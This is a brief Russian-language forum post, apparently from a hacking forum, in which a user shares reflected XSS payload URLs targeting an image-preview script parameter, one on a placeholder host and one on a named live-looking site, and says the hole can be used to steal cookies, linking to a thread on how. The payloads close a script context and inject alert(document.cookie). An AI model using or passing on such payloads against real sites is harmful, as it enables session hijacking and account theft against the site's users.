вы чо издеваетесь =)))
http://lol.lol.com/papka/lolik.php?image=');</script><script>alert(document.cookie)</script>
тока что опубликовал --->http://www.forum.antichat.ru/showthread.php?p=81362

http://www.mix.az/engine/modules/imagepreview.php?image=');</script><script>alert()</script>
этот сайт, с помощью xss этой сможешь свистнуть куки.
зайди в тему которую я тебе оставил, там немного описано как это сделать